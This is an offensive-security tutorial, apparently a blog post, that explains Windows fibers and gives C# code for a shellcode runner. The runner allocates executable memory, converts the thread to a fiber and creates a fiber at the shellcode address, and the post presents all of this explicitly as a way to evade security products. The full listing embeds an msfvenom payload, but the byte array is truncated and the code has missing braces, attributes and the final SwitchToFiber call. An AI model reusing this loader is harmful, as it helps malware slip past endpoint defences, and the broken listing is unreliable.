Shellcode Execution via Fibers


Older operating systems, such as Windows 95 and Mac OS 9 used cooperative multitasking. Applications needed to yield execution control before other applications could run. This meant a misbehaving application could cause the entire system to become unresponsive.

Newer operating systems replaced this with preemptive multitasking. With preemptive multitasking, the operating system scheduler controls CPU time allocated to an application.

Fibers & Threads

When an application runs, it is allocated a process in memory. This process can have multiple threads. Threads allow the application to execute multiple tasks concurrently. Threads are controlled by the operating system scheduler.

A fiber is essentially a lightweight thread, the main difference being it uses cooperative multitasking, rather than preemptive. A fiber will continue until it yields, as opposed to being controlled by the operating system scheduler. Fibers are invisible to the Kernel scheduler, since they are implemented in user mode in Kernel32.dll.

Executing shellcode in fibers as opposed to threads can assist in lowering our detection rates from security products.

To execute shellcode via fibers, the following steps need to be taken;

1. Allocate Executable Memory

As with a shellcode runner using threads, we first need to copy our code into an area of memory:

        // Allocate MEM_COMMIT | MEM_RESERVE (0x3000), PAGE_EXECUTE_READWRITE (0x40)
        IntPtr codeBuffer = Win32.VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        // Copy shellcode to our allocated memory
        Marshal.Copy(buf, 0, codeBuffer, buf.Length);

2. Convert Our Existing Thread to a Fiber

Fibers can only be created from other fibers, so our existing thread will need to be converted to a fiber:

        IntPtr currentFiber = Win32.ConvertThreadToFiber();

3. Create a New Fiber

The CreateFiber method signature is as follows. Setting dwStackSize to 0 means the default stack size will be used. lpParameter is used for passing a variable into the fiber, which isn’t needed so can also be set to 0.

LPVOID CreateFiber(
  [in]           SIZE_T                dwStackSize,
  [in]           LPFIBER_START_ROUTINE lpStartAddress,
  [in, optional] LPVOID                lpParameter

Calling CreateFiber:

        IntPtr newFiber = Win32.CreateFiber(0, codeBuffer, 0);

4. Execute the New Fiber

A fiber, unlike a thread does not start execution until it’s manually selected using the SwitchToFiber function. The fiber will continue running until it exits, or until it calls SwitchToFiber to run a new fiber.


Code Listing

using System;
using System.Runtime.InteropServices;

public class FiberExecute
    static void Main(string[] args)
        // msfvenom -p windows/x64/exec CMD=calc.exe -b "x00" -f csharp
        byte[] buf = new byte[319] {
0x5b,0x82,0xfe,0xb1 };

        // Allocate MEM_COMMIT | MEM_RESERVE (0x3000), PAGE_EXECUTE_READWRITE (0x40)
        IntPtr codeBuffer = Win32.VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        // Copy shellcode to our allocated memory
        Marshal.Copy(buf, 0, codeBuffer, buf.Length);

        //Convert existing thread to a Fiber. This is required since only a fiber can create new fibers
        IntPtr currentFiber = Win32.ConvertThreadToFiber();

        //Create a new fiber using our Shellcode buffer address
        IntPtr newFiber = Win32.CreateFiber(0, codeBuffer, 0);

        // Schedule the new fiber for execution


class Win32
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    public static extern IntPtr ConvertThreadToFiber();
    public static extern IntPtr CreateFiber(uint dwStackSize, IntPtr lpStartAddress, uint lpParameter);
    public extern static IntPtr SwitchToFiber(IntPtr fiberAddress);